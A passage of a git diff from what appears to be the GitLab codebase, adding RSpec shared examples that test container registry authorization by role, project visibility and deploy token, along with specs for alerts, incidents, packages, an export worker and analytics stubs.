+ expect(put("#{path}/gitlab-lfs/objects/#{oid}/foo/authorize")).not_to be_routable
+ end
+end
diff --git a/spec/support/shared_examples/services/alert_management_shared_examples.rb b/spec/support/shared_examples/services/alert_management_shared_examples.rb
index 003705ca21c..d9f28a97a0f 100644
--- a/spec/support/shared_examples/services/alert_management_shared_examples.rb
+++ b/spec/support/shared_examples/services/alert_management_shared_examples.rb
@@ -16,6 +16,38 @@ RSpec.shared_examples 'creates an alert management alert' do
end
end
+# This shared_example requires the following variables:
+# - last_alert_attributes, last created alert
+# - project, project that alert created
+# - payload_raw, hash representation of payload
+# - environment, project's environment
+# - fingerprint, fingerprint hash
+RSpec.shared_examples 'assigns the alert properties' do
+ it 'ensures that created alert has all data properly assigned' do
+ subject
+
+ expect(last_alert_attributes).to match(
+ project_id: project.id,
+ title: payload_raw.fetch(:title),
+ started_at: Time.zone.parse(payload_raw.fetch(:start_time)),
+ severity: payload_raw.fetch(:severity),
+ status: AlertManagement::Alert.status_value(:triggered),
+ events: 1,
+ domain: domain,
+ hosts: payload_raw.fetch(:hosts),
+ payload: payload_raw.with_indifferent_access,
+ issue_id: nil,
+ description: payload_raw.fetch(:description),
+ monitoring_tool: payload_raw.fetch(:monitoring_tool),
+ service: payload_raw.fetch(:service),
+ fingerprint: Digest::SHA1.hexdigest(fingerprint),
+ environment_id: environment.id,
+ ended_at: nil,
+ prometheus_alert_id: nil
+ )
+ end
+end
+
RSpec.shared_examples 'does not an create alert management alert' do
it 'does not create alert' do
expect { subject }.not_to change(AlertManagement::Alert, :count)
diff --git a/spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb b/spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb
new file mode 100644
index 00000000000..ba176b616c3
--- /dev/null
+++ b/spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb
@@ -0,0 +1,1006 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'container registry auth service context' do
+ let(:current_project) { nil }
+ let(:current_user) { nil }
+ let(:current_params) { {} }
+ let(:rsa_key) { OpenSSL::PKey::RSA.generate(512) }
+ let(:payload) { JWT.decode(subject[:token], rsa_key, true, { algorithm: 'RS256' }).first }
+
+ let(:authentication_abilities) do
+ [:read_container_image, :create_container_image, :admin_container_image]
+ end
+
+ let(:log_data) { { message: 'Denied container registry permissions' } }
+
+ subject do
+ described_class.new(current_project, current_user, current_params)
+ .execute(authentication_abilities: authentication_abilities)
+ end
+
+ before do
+ allow(Gitlab.config.registry).to receive_messages(enabled: true, issuer: 'rspec', key: nil)
+ allow_next_instance_of(JSONWebToken::RSAToken) do |instance|
+ allow(instance).to receive(:key).and_return(rsa_key)
+ end
+ end
+end
+
+RSpec.shared_examples 'an authenticated' do
+ it { is_expected.to include(:token) }
+ it { expect(payload).to include('access') }
+end
+
+RSpec.shared_examples 'a valid token' do
+ it { is_expected.to include(:token) }
+ it { expect(payload).to include('access') }
+
+ context 'a expirable' do
+ let(:expires_at) { Time.zone.at(payload['exp']) }
+ let(:expire_delay) { 10 }
+
+ context 'for default configuration' do
+ it { expect(expires_at).not_to be_within(2.seconds).of(Time.current + expire_delay.minutes) }
+ end
+
+ context 'for changed configuration' do
+ before do
+ stub_application_setting(container_registry_token_expire_delay: expire_delay)
+ end
+
+ it { expect(expires_at).to be_within(2.seconds).of(Time.current + expire_delay.minutes) }
+ end
+ end
+end
+
+RSpec.shared_examples 'a browsable' do
+ let(:access) do
+ [{ 'type' => 'registry',
+ 'name' => 'catalog',
+ 'actions' => ['*'] }]
+ end
+
+ it_behaves_like 'a valid token'
+ it_behaves_like 'not a container repository factory'
+
+ it 'has the correct scope' do
+ expect(payload).to include('access' => access)
+ end
+end
+
+RSpec.shared_examples 'an accessible' do
+ let(:access) do
+ [{ 'type' => 'repository',
+ 'name' => project.full_path,
+ 'actions' => actions }]
+ end
+
+ it_behaves_like 'a valid token'
+
+ it 'has the correct scope' do
+ expect(payload).to include('access' => access)
+ end
+end
+
+RSpec.shared_examples 'an inaccessible' do
+ it_behaves_like 'a valid token'
+ it { expect(payload).to include('access' => []) }
+end
+
+RSpec.shared_examples 'a deletable' do
+ it_behaves_like 'an accessible' do
+ let(:actions) { ['*'] }
+ end
+end
+
+RSpec.shared_examples 'a deletable since registry 2.7' do
+ it_behaves_like 'an accessible' do
+ let(:actions) { ['delete'] }
+ end
+end
+
+RSpec.shared_examples 'a pullable' do
+ it_behaves_like 'an accessible' do
+ let(:actions) { ['pull'] }
+ end
+end
+
+RSpec.shared_examples 'a pushable' do
+ it_behaves_like 'an accessible' do
+ let(:actions) { ['push'] }
+ end
+end
+
+RSpec.shared_examples 'a pullable and pushable' do
+ it_behaves_like 'an accessible' do
+ let(:actions) { %w(pull push) }
+ end
+end
+
+RSpec.shared_examples 'a forbidden' do
+ it { is_expected.to include(http_status: 403) }
+ it { is_expected.not_to include(:token) }
+end
+
+RSpec.shared_examples 'container repository factory' do
+ it 'creates a new container repository resource' do
+ expect { subject }
+ .to change { project.container_repositories.count }.by(1)
+ end
+end
+
+RSpec.shared_examples 'not a container repository factory' do
+ it 'does not create a new container repository resource' do
+ expect { subject }.not_to change { ContainerRepository.count }
+ end
+end
+
+RSpec.shared_examples 'logs an auth warning' do |requested_actions|
+ let(:expected) do
+ {
+ scope_type: 'repository',
+ requested_project_path: project.full_path,
+ requested_actions: requested_actions,
+ authorized_actions: [],
+ user_id: current_user.id,
+ username: current_user.username
+ }
+ end
+
+ it do
+ expect(Gitlab::AuthLogger).to receive(:warn).with(expected.merge!(log_data))
+
+ subject
+ end
+end
+
+RSpec.shared_examples 'a container registry auth service' do
+ include_context 'container registry auth service context'
+
+ describe '#full_access_token' do
+ let_it_be(:project) { create(:project) }
+ let(:token) { described_class.full_access_token(project.full_path) }
+
+ subject { { token: token } }
+
+ it_behaves_like 'an accessible' do
+ let(:actions) { ['*'] }
+ end
+
+ it_behaves_like 'not a container repository factory'
+ end
+
+ describe '#pull_access_token' do
+ let_it_be(:project) { create(:project) }
+ let(:token) { described_class.pull_access_token(project.full_path) }
+
+ subject { { token: token } }
+
+ it_behaves_like 'an accessible' do
+ let(:actions) { ['pull'] }
+ end
+
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'user authorization' do
+ let_it_be(:current_user) { create(:user) }
+
+ context 'for registry catalog' do
+ let(:current_params) do
+ { scopes: ["registry:catalog:*"] }
+ end
+
+ context 'disallow browsing for users without GitLab admin rights' do
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+
+ context 'for private project' do
+ let_it_be(:project) { create(:project) }
+
+ context 'allow to use scope-less authentication' do
+ it_behaves_like 'a valid token'
+ end
+
+ context 'allow developer to push images' do
+ before_all do
+ project.add_developer(current_user)
+ end
+
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:push"] }
+ end
+
+ it_behaves_like 'a pushable'
+ it_behaves_like 'container repository factory'
+ end
+
+ context 'disallow developer to delete images' do
+ before_all do
+ project.add_developer(current_user)
+ end
+
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:*"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+
+ it_behaves_like 'logs an auth warning', ['*']
+ end
+
+ context 'disallow developer to delete images since registry 2.7' do
+ before_all do
+ project.add_developer(current_user)
+ end
+
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:delete"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'allow reporter to pull images' do
+ before_all do
+ project.add_reporter(current_user)
+ end
+
+ context 'when pulling from root level repository' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull"] }
+ end
+
+ it_behaves_like 'a pullable'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+
+ context 'disallow reporter to delete images' do
+ before_all do
+ project.add_reporter(current_user)
+ end
+
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:*"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow reporter to delete images since registry 2.7' do
+ before_all do
+ project.add_reporter(current_user)
+ end
+
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:delete"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'return a least of privileges' do
+ before_all do
+ project.add_reporter(current_user)
+ end
+
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:push,pull"] }
+ end
+
+ it_behaves_like 'a pullable'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow guest to pull or push images' do
+ before_all do
+ project.add_guest(current_user)
+ end
+
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull,push"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow guest to delete images' do
+ before_all do
+ project.add_guest(current_user)
+ end
+
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:*"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow guest to delete images since registry 2.7' do
+ before_all do
+ project.add_guest(current_user)
+ end
+
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:delete"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+
+ context 'for public project' do
+ let_it_be(:project) { create(:project, :public) }
+
+ context 'allow anyone to pull images' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull"] }
+ end
+
+ it_behaves_like 'a pullable'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow anyone to push images' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:push"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow anyone to delete images' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:*"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow anyone to delete images since registry 2.7' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:delete"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'when repository name is invalid' do
+ let(:current_params) do
+ { scopes: ['repository:invalid:push'] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+
+ context 'for internal project' do
+ let_it_be(:project) { create(:project, :internal) }
+
+ context 'for internal user' do
+ context 'allow anyone to pull images' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull"] }
+ end
+
+ it_behaves_like 'a pullable'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow anyone to push images' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:push"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow anyone to delete images' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:*"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow anyone to delete images since registry 2.7' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:delete"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+
+ context 'for external user' do
+ context 'disallow anyone to pull or push images' do
+ let_it_be(:current_user) { create(:user, external: true) }
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull,push"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow anyone to delete images' do
+ let_it_be(:current_user) { create(:user, external: true) }
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:*"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'disallow anyone to delete images since registry 2.7' do
+ let_it_be(:current_user) { create(:user, external: true) }
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:delete"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+ end
+ end
+
+ context 'delete authorized as maintainer' do
+ let_it_be(:current_project) { create(:project) }
+ let_it_be(:current_user) { create(:user) }
+
+ let(:authentication_abilities) do
+ [:admin_container_image]
+ end
+
+ before_all do
+ current_project.add_maintainer(current_user)
+ end
+
+ it_behaves_like 'a valid token'
+
+ context 'allow to delete images' do
+ let(:current_params) do
+ { scopes: ["repository:#{current_project.full_path}:*"] }
+ end
+
+ it_behaves_like 'a deletable' do
+ let(:project) { current_project }
+ end
+ end
+
+ context 'allow to delete images since registry 2.7' do
+ let(:current_params) do
+ { scopes: ["repository:#{current_project.full_path}:delete"] }
+ end
+
+ it_behaves_like 'a deletable since registry 2.7' do
+ let(:project) { current_project }
+ end
+ end
+ end
+
+ context 'build authorized as user' do
+ let_it_be(:current_project) { create(:project) }
+ let_it_be(:current_user) { create(:user) }
+
+ let(:authentication_abilities) do
+ [:build_read_container_image, :build_create_container_image, :build_destroy_container_image]
+ end
+
+ before_all do
+ current_project.add_developer(current_user)
+ end
+
+ context 'allow to use offline_token' do
+ let(:current_params) do
+ { offline_token: true }
+ end
+
+ it_behaves_like 'an authenticated'
+ end
+
+ it_behaves_like 'a valid token'
+
+ context 'allow to pull and push images' do
+ let(:current_params) do
+ { scopes: ["repository:#{current_project.full_path}:pull,push"] }
+ end
+
+ it_behaves_like 'a pullable and pushable' do
+ let(:project) { current_project }
+ end
+
+ it_behaves_like 'container repository factory' do
+ let(:project) { current_project }
+ end
+ end
+
+ context 'allow to delete images since registry 2.7' do
+ let(:current_params) do
+ { scopes: ["repository:#{current_project.full_path}:delete"] }
+ end
+
+ it_behaves_like 'a deletable since registry 2.7' do
+ let(:project) { current_project }
+ end
+ end
+
+ context 'disallow to delete images' do
+ let(:current_params) do
+ { scopes: ["repository:#{current_project.full_path}:*"] }
+ end
+
+ it_behaves_like 'an inaccessible' do
+ let(:project) { current_project }
+ end
+ end
+
+ context 'for other projects' do
+ context 'when pulling' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull"] }
+ end
+
+ context 'allow for public' do
+ let_it_be(:project) { create(:project, :public) }
+
+ it_behaves_like 'a pullable'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ shared_examples 'pullable for being team member' do
+ context 'when you are not member' do
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'when you are member' do
+ before_all do
+ project.add_developer(current_user)
+ end
+
+ it_behaves_like 'a pullable'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'when you are owner' do
+ let_it_be(:project) { create(:project, namespace: current_user.namespace) }
+
+ it_behaves_like 'a pullable'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+
+ context 'for private' do
+ let_it_be(:project) { create(:project, :private) }
+
+ it_behaves_like 'pullable for being team member'
+
+ context 'when you are admin' do
+ let_it_be(:current_user) { create(:admin) }
+
+ context 'when you are not member' do
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'when you are member' do
+ before_all do
+ project.add_developer(current_user)
+ end
+
+ it_behaves_like 'a pullable'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'when you are owner' do
+ let_it_be(:project) { create(:project, namespace: current_user.namespace) }
+
+ it_behaves_like 'a pullable'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+ end
+ end
+
+ context 'when pushing' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:push"] }
+ end
+
+ context 'disallow for all' do
+ context 'when you are member' do
+ let_it_be(:project) { create(:project, :public) }
+
+ before_all do
+ project.add_developer(current_user)
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'when you are owner' do
+ let_it_be(:project) { create(:project, :public, namespace: current_user.namespace) }
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+ end
+ end
+
+ context 'for project without container registry' do
+ let_it_be(:project) { create(:project, :public, container_registry_enabled: false) }
+
+ before do
+ project.update!(container_registry_enabled: false)
+ end
+
+ context 'disallow when pulling' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+
+ context 'for project that disables repository' do
+ let_it_be(:project) { create(:project, :public, :repository_disabled) }
+
+ context 'disallow when pulling' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull"] }
+ end
+
+ it_behaves_like 'an inaccessible'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+ end
+
+ context 'registry catalog browsing authorized as admin' do
+ let_it_be(:current_user) { create(:user, :admin) }
+ let_it_be(:project) { create(:project, :public) }
+
+ let(:current_params) do
+ { scopes: ["registry:catalog:*"] }
+ end
+
+ it_behaves_like 'a browsable'
+ end
+
+ context 'support for multiple scopes' do
+ let_it_be(:internal_project) { create(:project, :internal) }
+ let_it_be(:private_project) { create(:project, :private) }
+
+ let(:current_params) do
+ {
+ scopes: [
+ "repository:#{internal_project.full_path}:pull",
+ "repository:#{private_project.full_path}:pull"
+ ]
+ }
+ end
+
+ context 'user has access to all projects' do
+ let_it_be(:current_user) { create(:user, :admin) }
+
+ before do
+ enable_admin_mode!(current_user)
+ end
+
+ it_behaves_like 'a browsable' do
+ let(:access) do
+ [
+ { 'type' => 'repository',
+ 'name' => internal_project.full_path,
+ 'actions' => ['pull'] },
+ { 'type' => 'repository',
+ 'name' => private_project.full_path,
+ 'actions' => ['pull'] }
+ ]
+ end
+ end
+ end
+
+ context 'user only has access to internal project' do
+ let_it_be(:current_user) { create(:user) }
+
+ it_behaves_like 'a browsable' do
+ let(:access) do
+ [
+ { 'type' => 'repository',
+ 'name' => internal_project.full_path,
+ 'actions' => ['pull'] }
+ ]
+ end
+ end
+ end
+
+ context 'anonymous access is rejected' do
+ let(:current_user) { nil }
+
+ it_behaves_like 'a forbidden'
+ end
+ end
+
+ context 'unauthorized' do
+ context 'disallow to use scope-less authentication' do
+ it_behaves_like 'a forbidden'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'for invalid scope' do
+ let(:current_params) do
+ { scopes: ['invalid:aa:bb'] }
+ end
+
+ it_behaves_like 'a forbidden'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'for private project' do
+ let_it_be(:project) { create(:project, :private) }
+
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull"] }
+ end
+
+ it_behaves_like 'a forbidden'
+ end
+
+ context 'for public project' do
+ let_it_be(:project) { create(:project, :public) }
+
+ context 'when pulling and pushing' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull,push"] }
+ end
+
+ it_behaves_like 'a pullable'
+ it_behaves_like 'not a container repository factory'
+ end
+
+ context 'when pushing' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:push"] }
+ end
+
+ it_behaves_like 'a forbidden'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+
+ context 'for registry catalog' do
+ let(:current_params) do
+ { scopes: ["registry:catalog:*"] }
+ end
+
+ it_behaves_like 'a forbidden'
+ it_behaves_like 'not a container repository factory'
+ end
+ end
+
+ context 'for deploy tokens' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull"] }
+ end
+
+ context 'when deploy token has read and write registry as scopes' do
+ let(:current_user) { create(:deploy_token, write_registry: true, projects: [project]) }
+
+ shared_examples 'able to login' do
+ context 'registry provides read_container_image authentication_abilities' do
+ let(:current_params) { {} }
+ let(:authentication_abilities) { [:read_container_image] }
+
+ it_behaves_like 'an authenticated'
+ end
+ end
+
+ context 'for public project' do
+ let_it_be(:project) { create(:project, :public) }
+
+ context 'when pulling' do
+ it_behaves_like 'a pullable'
+ end
+
+ context 'when pushing' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:push"] }
+ end
+
+ it_behaves_like 'a pushable'
+ end
+
+ it_behaves_like 'able to login'
+ end
+
+ context 'for internal project' do
+ let_it_be(:project) { create(:project, :internal) }
+
+ context 'when pulling' do
+ it_behaves_like 'a pullable'
+ end
+
+ context 'when pushing' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:push"] }
+ end
+
+ it_behaves_like 'a pushable'
+ end
+
+ it_behaves_like 'able to login'
+ end
+
+ context 'for private project' do
+ let_it_be(:project) { create(:project, :private) }
+
+ context 'when pulling' do
+ it_behaves_like 'a pullable'
+ end
+
+ context 'when pushing' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:push"] }
+ end
+
+ it_behaves_like 'a pushable'
+ end
+
+ it_behaves_like 'able to login'
+ end
+ end
+
+ context 'when deploy token does not have read_registry scope' do
+ let(:current_user) { create(:deploy_token, projects: [project], read_registry: false) }
+
+ shared_examples 'unable to login' do
+ context 'registry provides no container authentication_abilities' do
+ let(:current_params) { {} }
+ let(:authentication_abilities) { [] }
+
+ it_behaves_like 'a forbidden'
+ end
+
+ context 'registry provides inapplicable container authentication_abilities' do
+ let(:current_params) { {} }
+ let(:authentication_abilities) { [:download_code] }
+
+ it_behaves_like 'a forbidden'
+ end
+ end
+
+ context 'for public project' do
+ let_it_be(:project) { create(:project, :public) }
+
+ context 'when pulling' do
+ it_behaves_like 'a pullable'
+ end
+
+ it_behaves_like 'unable to login'
+ end
+
+ context 'for internal project' do
+ let_it_be(:project) { create(:project, :internal) }
+
+ context 'when pulling' do
+ it_behaves_like 'an inaccessible'
+ end
+
+ it_behaves_like 'unable to login'
+ end
+
+ context 'for private project' do
+ let_it_be(:project) { create(:project, :internal) }
+
+ context 'when pulling' do
+ it_behaves_like 'an inaccessible'
+ end
+
+ context 'when logging in' do
+ let(:current_params) { {} }
+ let(:authentication_abilities) { [] }
+
+ it_behaves_like 'a forbidden'
+ end
+
+ it_behaves_like 'unable to login'
+ end
+ end
+
+ context 'when deploy token is not related to the project' do
+ let_it_be(:current_user) { create(:deploy_token, read_registry: false) }
+
+ context 'for public project' do
+ let_it_be(:project) { create(:project, :public) }
+
+ context 'when pulling' do
+ it_behaves_like 'a pullable'
+ end
+ end
+
+ context 'for internal project' do
+ let_it_be(:project) { create(:project, :internal) }
+
+ context 'when pulling' do
+ it_behaves_like 'an inaccessible'
+ end
+ end
+
+ context 'for private project' do
+ let_it_be(:project) { create(:project, :internal) }
+
+ context 'when pulling' do
+ it_behaves_like 'an inaccessible'
+ end
+ end
+ end
+
+ context 'when deploy token has been revoked' do
+ let(:current_user) { create(:deploy_token, :revoked, projects: [project]) }
+
+ context 'for public project' do
+ let_it_be(:project) { create(:project, :public) }
+
+ it_behaves_like 'a pullable'
+ end
+
+ context 'for internal project' do
+ let_it_be(:project) { create(:project, :internal) }
+
+ it_behaves_like 'an inaccessible'
+ end
+
+ context 'for private project' do
+ let_it_be(:project) { create(:project, :internal) }
+
+ it_behaves_like 'an inaccessible'
+ end
+ end
+ end
+
+ context 'user authorization' do
+ let_it_be(:current_user) { create(:user) }
+
+ context 'with multiple scopes' do
+ let_it_be(:project) { create(:project) }
+
+ context 'allow developer to push images' do
+ before_all do
+ project.add_developer(current_user)
+ end
+
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:push"] }
+ end
+
+ it_behaves_like 'a pushable'
+ it_behaves_like 'container repository factory'
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/services/incident_shared_examples.rb b/spec/support/shared_examples/services/incident_shared_examples.rb
index 39c22ac8aa3..9fced12b543 100644
--- a/spec/support/shared_examples/services/incident_shared_examples.rb
+++ b/spec/support/shared_examples/services/incident_shared_examples.rb
@@ -11,11 +11,13 @@
#
# include_examples 'incident issue'
RSpec.shared_examples 'incident issue' do
- let(:label_properties) { attributes_for(:label, :incident) }
-
it 'has incident as issue type' do
expect(issue.issue_type).to eq('incident')
end
+end
+
+RSpec.shared_examples 'has incident label' do
+ let(:label_properties) { attributes_for(:label, :incident) }
it 'has exactly one incident label' do
expect(issue.labels).to be_one do |label|
diff --git a/spec/support/shared_examples/services/metrics/dashboard_shared_examples.rb b/spec/support/shared_examples/services/metrics/dashboard_shared_examples.rb
index 1501a2a0f52..b6c33eac7b4 100644
--- a/spec/support/shared_examples/services/metrics/dashboard_shared_examples.rb
+++ b/spec/support/shared_examples/services/metrics/dashboard_shared_examples.rb
@@ -46,7 +46,7 @@ RSpec.shared_examples 'refreshes cache when dashboard_version is changed' do
allow(service).to receive(:dashboard_version).and_return('1', '2')
end
- expect(File).to receive(:read).twice.and_call_original
+ expect_file_read(Rails.root.join(described_class::DASHBOARD_PATH)).twice.and_call_original
service = described_class.new(*service_params)
diff --git a/spec/support/shared_examples/services/packages_shared_examples.rb b/spec/support/shared_examples/services/packages_shared_examples.rb
index 7987f2c296b..70d29b4bc99 100644
--- a/spec/support/shared_examples/services/packages_shared_examples.rb
+++ b/spec/support/shared_examples/services/packages_shared_examples.rb
@@ -14,6 +14,24 @@ RSpec.shared_examples 'assigns build to package' do
end
end
+RSpec.shared_examples 'assigns build to package file' do
+ context 'with build info' do
+ let(:job) { create(:ci_build, user: user) }
+ let(:params) { super().merge(build: job) }
+
+ it 'assigns the pipeline to the package' do
+ package_file = subject
+
+ expect(package_file.package_file_build_infos).to be_present
+ expect(package_file.pipelines.first).to eq job.pipeline
+ end
+
+ it 'creates a new PackageFileBuildInfo record' do
+ expect { subject }.to change { Packages::PackageFileBuildInfo.count }.by(1)
+ end
+ end
+end
+
RSpec.shared_examples 'assigns the package creator' do
it 'assigns the package creator' do
subject
diff --git a/spec/support/shared_examples/workers/concerns/reenqueuer_shared_examples.rb b/spec/support/shared_examples/workers/concerns/reenqueuer_shared_examples.rb
index 37f44f98cda..1b09b5fe613 100644
--- a/spec/support/shared_examples/workers/concerns/reenqueuer_shared_examples.rb
+++ b/spec/support/shared_examples/workers/concerns/reenqueuer_shared_examples.rb
@@ -10,6 +10,10 @@ RSpec.shared_examples 'reenqueuer' do
expect(subject.lease_timeout).to be_a(ActiveSupport::Duration)
end
+ it 'uses the :none deduplication strategy' do
+ expect(subject.class.get_deduplicate_strategy).to eq(:none)
+ end
+
describe '#perform' do
it 'tries to obtain a lease' do
expect_to_obtain_exclusive_lease(subject.lease_key)
diff --git a/spec/support/shared_examples/workers/project_export_shared_examples.rb b/spec/support/shared_examples/workers/project_export_shared_examples.rb
new file mode 100644
index 00000000000..a9bcc3f4f7c
--- /dev/null
+++ b/spec/support/shared_examples/workers/project_export_shared_examples.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'export worker' do
+ describe '#perform' do
+ let!(:user) { create(:user) }
+ let!(:project) { create(:project) }
+
+ before do
+ allow_next_instance_of(described_class) do |job|
+ allow(job).to receive(:jid).and_return(SecureRandom.hex(8))
+ end
+ end
+
+ context 'when it succeeds' do
+ it 'calls the ExportService' do
+ expect_next_instance_of(::Projects::ImportExport::ExportService) do |service|
+ expect(service).to receive(:execute)
+ end
+
+ subject.perform(user.id, project.id, { 'klass' => 'Gitlab::ImportExport::AfterExportStrategies::DownloadNotificationStrategy' })
+ end
+
+ context 'export job' do
+ before do
+ allow_next_instance_of(::Projects::ImportExport::ExportService) do |service|
+ allow(service).to receive(:execute)
+ end
+ end
+
+ it 'creates an export job record for the project' do
+ expect { subject.perform(user.id, project.id, {}) }.to change { project.export_jobs.count }.from(0).to(1)
+ end
+
+ it 'sets the export job status to started' do
+ expect_next_instance_of(ProjectExportJob) do |job|
+ expect(job).to receive(:start)
+ end
+
+ subject.perform(user.id, project.id, {})
+ end
+
+ it 'sets the export job status to finished' do
+ expect_next_instance_of(ProjectExportJob) do |job|
+ expect(job).to receive(:finish)
+ end
+
+ subject.perform(user.id, project.id, {})
+ end
+ end
+ end
+
+ context 'when it fails' do
+ it 'does not raise an exception when strategy is invalid' do
+ expect(::Projects::ImportExport::ExportService).not_to receive(:new)
+
+ expect { subject.perform(user.id, project.id, { 'klass' => 'Whatever' }) }.not_to raise_error
+ end
+
+ it 'does not raise error when project cannot be found' do
+ expect { subject.perform(user.id, non_existing_record_id, {}) }.not_to raise_error
+ end
+
+ it 'does not raise error when user cannot be found' do
+ expect { subject.perform(non_existing_record_id, project.id, {}) }.not_to raise_error
+ end
+ end
+ end
+
+ describe 'sidekiq options' do
+ it 'disables retry' do
+ expect(described_class.sidekiq_options['retry']).to eq(false)
+ end
+
+ it 'disables dead' do
+ expect(described_class.sidekiq_options['dead']).to eq(false)
+ end
+
+ it 'sets default status expiration' do
+ expect(described_class.sidekiq_options['status_expiration']).to eq(StuckExportJobsWorker::EXPORT_JOBS_EXPIRATION)
+ end
+ end
+end
diff --git a/spec/support/snowplow.rb b/spec/support/snowplow.rb
index b67fa96fab8..0d6102f1705 100644
--- a/spec/support/snowplow.rb
+++ b/spec/support/snowplow.rb
@@ -9,12 +9,15 @@ RSpec.configure do |config|
# WebMock is set up to allow requests to `localhost`
host = 'localhost'
+ allow_any_instance_of(Gitlab::Tracking::Destinations::ProductAnalytics).to receive(:event)
+
allow_any_instance_of(Gitlab::Tracking::Destinations::Snowplow)
.to receive(:emitter)
.and_return(SnowplowTracker::Emitter.new(host, buffer_size: buffer_size))
stub_application_setting(snowplow_enabled: true)
+ allow(SnowplowTracker::SelfDescribingJson).to receive(:new).and_call_original
